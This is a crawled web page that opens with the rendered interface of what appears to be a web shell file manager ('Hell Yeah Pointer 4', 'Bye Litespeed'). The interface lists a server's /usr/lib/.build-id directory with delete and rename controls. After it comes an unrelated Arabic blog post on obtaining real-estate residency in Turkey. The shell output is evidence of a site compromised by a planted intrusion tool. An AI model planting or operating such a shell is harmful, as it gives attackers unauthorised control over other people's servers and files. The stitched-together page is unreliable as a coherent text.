Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-06 20:39:46
curdir: / / usr / lib / .build-id / bc / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 11:58:41 0755
.. 4096 2026-02-18 14:39:34 0755
1a65b3b0b0c7ab81c248b1e3ec4c815f4b7ac0 16496 2022-10-08 16:22:08 0755
57fb3b7bb54ae8d3197491a5478fcf8fba2d37 99632 2023-10-14 16:32:27 0755
6db4a659cebcf16a22c5225e8b89cdc7b57bd3 192112 2025-09-09 16:57:06 0755
84a77efcfd59a76f9a86f6d6f147f9731ba4f8 1970-01-01 03:00:00 0
89925603467576ce585c09580519f104c466fb 1970-01-01 03:00:00 0
89ae039d3f75333f89fd58546947f439a22201 34144 2025-12-18 16:54:40 0755
9a8b1c1357ac79b5951200fdf95cd5d8005d72 71472 2025-06-03 05:06:30 0755
c7a4fbe9d127821680ba1a5ababa376bc745db 1970-01-01 03:00:00 0
e6414d87588dc06a6550ec71ffed24145993c1 12064 2025-12-08 12:43:19 0755
f7049671a59b479c21594c08d5caf04fadeb91 7415872 2025-09-24 17:27:57 0755
مجموعة كريم - الإقامة العقارية في تركيا

الإقامة العقارية في تركيا

Blog Details

الإقامة العقارية في تركيا

بعد أن شهد السوق العقاري في تركيا إقبالا كبيرا من قبل المستثمرين الأجانب والباحثين عن إنشاء حياة جديدة في وطن جديد خلال السنوات الأخيرة، وبعد ازدياد شراء العقارات والشقق السكنية والاستثمار بها بشكل كبير، قامت الحكومة التركية على منح المستثمرين والراغبين في امتلاك منزل في تركيا حق الحصول على الإقامة العقارية في تركيا.

 

الإقامة العقارية في تركيا هي وثيقة تؤخذ من دائرة الهجرة في تركيا، وتسمح الإقامة العقارية في تركيا لصاحبها أن يتمتع بحقوق كاملة، بداية من التعليم إلى الطبابة والمعيشة وصولا إلى ممارسة مهنته بشكل كامل وقانوني، وتتصف هذه الإقامة بكونها مؤقتة حالها كحال باقي الإقامات، وتحتاج إلى التجديد السنوي، ويتم منح هذه الإقامة للأشخاص الراغبين في امتلاك منزل في تركيا والاستقرار في تركيا، كما يحق للزوجة ولأفراد العائلة من الأبناء دون سن 18 سنة، الحصول على الإقامة العقارية في تركيا.

 

ما هي مميزات الحصول على الإقامة العقارية في تركيا؟

  • الإقامة القانونية

من مزايا الإقامة العقارية في تركيا أنها تسمح لحاملها الإقامة بشكل قانوني على الأراضي التركية، وممارسة حياته بشكل طبيعي.

  • ادراج العائلة أيضا

تمتع عائلة صاحب العقار من الزوجة والأولاد بشكل عام دون سن 18 سنة بحقوق الإقامة العقارية في تركيا.

  • السهولة في التعامل

يتمتع حامل الإقامة العقارية في تركيا بسهولة كبيرة في إنهاء معاملاته في الدوائر الحكومية والمشافي ودائرة الهجرة.

  • الحصول على الخدمات التعليمية

الإقامة العقارية في تركيا تسمح لحاملها بالحصول على كافة الخدمات التعليمية في المدارس والجامعات التركية.

  • الطبابة في المستشفيات التركية

تسمح الإقامة العقارية في تركيا لحاملها أن يستفيد بشكل مجاني أو بخصومات كبيرة من مميزات الصحة في تركيا من خلال الطبابة في المستشفيات التركية.

  • إمكانية الحصول على الإقامة الدائمة

بعد 8 سنوات من الإقامة العقارية في تركيا، يتمكن حامل الإقامة العقارية في تركيا أن يحصل على الإقامة الدائمة في تركيا.

  • إمكانية الحصول على الجنسية التركية

تمكن الإقامة العقارية حاملها على إمكانية التقدم بطلب الحصول على الجنسية التركية في حال وصول قيمة العقارات إلى 400 ألف دولار، ويشترط أن يتم تحويل هذا المبلغ من خارج تركيا.

 

ما هي إجراءات الإقامة العقارية في تركيا؟

  • شراء عقار واحد أو عدة عقارات في إحدى الولايات التركية، والحصول على وثيقة الطابو.
  • حجز موعد من الإنترنت عبر موقع دائرة الهجرة الإلكتروني من أجل الحصول على الإقامة العقارية في تركيا.
  • تحضير كافة الوثائق والأوراق اللازمة من أجل الحصول على الإقامة العقارية في تركيا.
  • الحضور للمقابلة في دائرة الهجرة بشكل شخصي أو بموجب الوكالة الرسمية للوكيل.
  • تسليم الوثائق والأوراق المطلوبة للموظف المسؤول.
  • دفع الرسوم المفروضة (تتعلق رسوم الإقامة العقارية في تركيا على قيمة العقار المراد شراؤه في تركيا، حيث تبلغ رسوم التملك العقاري في تركيا نسبة 9.7% تقريبا من سعر العقار الكلي).
  • الانتظار إلى حين أن يتم الموافقة على منحك الإقامة العقارية في تركيا.
  • استلام بطاقة الإقامة العقارية في تركيا من خلال إحدى وسائل البريد.

 

ما هي الأوراق المطلوبة للإقامة العقارية في تركيا؟

  • ورقة تقديم الطلب للإقامة العقارية التي تم طلبها من الموقع الإلكتروني لدائرة الهجرة.
  • جواز سفر ساري المفعول لمدة لا تقل عن ستة أشهر.
  • فيزا عليها ختم الدخول إلى الأراضي التركية في حال كنت من الدول التي تحتاج إلى فيزا من أجل الدخول إلى تركيا.
  • ورقة تأمين طبي.
  • دفتر العائلة مترجم إلى اللغة التركية من مترجم محلف، ومصدق من مكاتب النوتر (كاتب العدل).
  • وثيقة الطابو التي تم تسجيل العقار باسم صاحبها.
  • 4 صور شخصية بيومترية.
  • وجود دخل شهري ثابت يبدأ من 500 دولار شهريا.

 

 

ما هي مدة الإقامة العقارية في تركيا؟

عادة ما تكون الإقامة العقارية في تركيا صالحة لمدة عام واحد أو عامين كحد أقصى، ولكن الإقامة العقارية في تركيا قابلة للتجديد، وتتم عملية التجديد بسهولة كبيرة مقارنة مع باقي الإقامات الأخرى في تركيا، إذ يكفي أن يكون العقار مسجلا في دائرة الطابو باسم صاحب العقار يتم تجديد الإقامة بموجبها.

 

اقرأ أيضا:

الإقامات في تركيا

E devlet أو نظام الحكومة الإلكتروني